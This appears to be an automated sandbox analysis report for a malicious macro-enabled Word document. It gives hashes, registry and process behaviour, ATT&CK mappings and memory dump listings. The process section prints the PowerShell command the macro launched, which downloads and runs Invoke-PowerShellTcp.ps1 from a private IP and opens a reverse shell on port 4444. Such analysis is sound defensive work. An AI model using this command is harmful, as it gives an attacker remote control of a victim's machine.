36efb55ec131f10035c95424d1352b564989af80d8a8a8580434a6528e2bc6e9

General

Target

DOCUMENTO DE EJEMPLO -.docm
Size

76KB
MD5

ffc30716b9d1a573c91baecc7c78dd11
SHA1

e0bd9f5b1e8360778466f6e66a8f1b5104dae1ea
SHA256

36efb55ec131f10035c95424d1352b564989af80d8a8a8580434a6528e2bc6e9
SHA512

dfc3df6ea5191b38eb2f2d524d4374ad1eca7225a0ec9f6f165caf54436c2359b241e6262d845a33b4cfe8596bece076527f4dd3529f3838acfccf2f6477bd30
SSDEEP

1536:ZoRFzjY13RQIcS1TIF0Ide4Pyc7orwTUSfxouET8j:eRZc8ATIF0Ide4PyZSfX

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://192.168.0.109/Invoke-PowerShellTcp.ps1

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1688	2892	powershell.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2892 WINWORD.EXE
2892 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1688 powershell.exe
1688 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1688 powershell.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXE

pid process

2892 WINWORD.EXE
2892 WINWORD.EXE
2892 WINWORD.EXE
2892 WINWORD.EXE
2892 WINWORD.EXE
2892 WINWORD.EXE
2892 WINWORD.EXE
2892 WINWORD.EXE
2892 WINWORD.EXE

pid	process
2892	WINWORD.EXE
2892	WINWORD.EXE

pid	process
1688	powershell.exe
1688	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1688	powershell.exe

pid	process
2892	WINWORD.EXE
2892	WINWORD.EXE
2892	WINWORD.EXE
2892	WINWORD.EXE
2892	WINWORD.EXE
2892	WINWORD.EXE
2892	WINWORD.EXE
2892	WINWORD.EXE
2892	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 2892 wrote to memory of 1688	2892	WINWORD.EXE	powershell.exe
PID 2892 wrote to memory of 1688	2892	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOCUMENTO DE EJEMPLO -.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -exec bypass -c iex(New-Object Net.WebClient).DownloadString('http://192.168.0.109/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.0.109 -Port 4444
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1688

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hcatsfft.vvv.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1688-158-0x0000021CC6A60000-0x0000021CC6B62000-memory.dmp

Filesize
1.0MB

Download
memory/1688-146-0x0000021CAE680000-0x0000021CAE702000-memory.dmp

Filesize
520KB

Download
memory/1688-169-0x0000021CAE670000-0x0000021CAE680000-memory.dmp

Filesize
64KB

Download
memory/1688-168-0x0000021CAE670000-0x0000021CAE680000-memory.dmp

Filesize
64KB

Download
memory/1688-152-0x0000021CAE5E0000-0x0000021CAE602000-memory.dmp

Filesize
136KB

Download
memory/1688-165-0x0000021CAE670000-0x0000021CAE680000-memory.dmp

Filesize
64KB

Download
memory/1688-145-0x0000021CAE670000-0x0000021CAE680000-memory.dmp

Filesize
64KB

Download
memory/1688-157-0x0000021CAE1F0000-0x0000021CAE200000-memory.dmp

Filesize
64KB

Download
memory/1688-160-0x0000021CAE670000-0x0000021CAE680000-memory.dmp

Filesize
64KB

Download
memory/1688-159-0x0000021CAE670000-0x0000021CAE680000-memory.dmp

Filesize
64KB

Download
memory/2892-139-0x00007FFBF1D10000-0x00007FFBF1D20000-memory.dmp

Filesize
64KB

Download
memory/2892-133-0x00007FFBF3E70000-0x00007FFBF3E80000-memory.dmp

Filesize
64KB

Download
memory/2892-138-0x00007FFBF1D10000-0x00007FFBF1D20000-memory.dmp

Filesize
64KB

Download
memory/2892-136-0x00007FFBF3E70000-0x00007FFBF3E80000-memory.dmp

Filesize
64KB

Download
memory/2892-134-0x00007FFBF3E70000-0x00007FFBF3E80000-memory.dmp

Filesize
64KB

Download
memory/2892-137-0x00007FFBF3E70000-0x00007FFBF3E80000-memory.dmp

Filesize
64KB

Download
memory/2892-135-0x00007FFBF3E70000-0x00007FFBF3E80000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads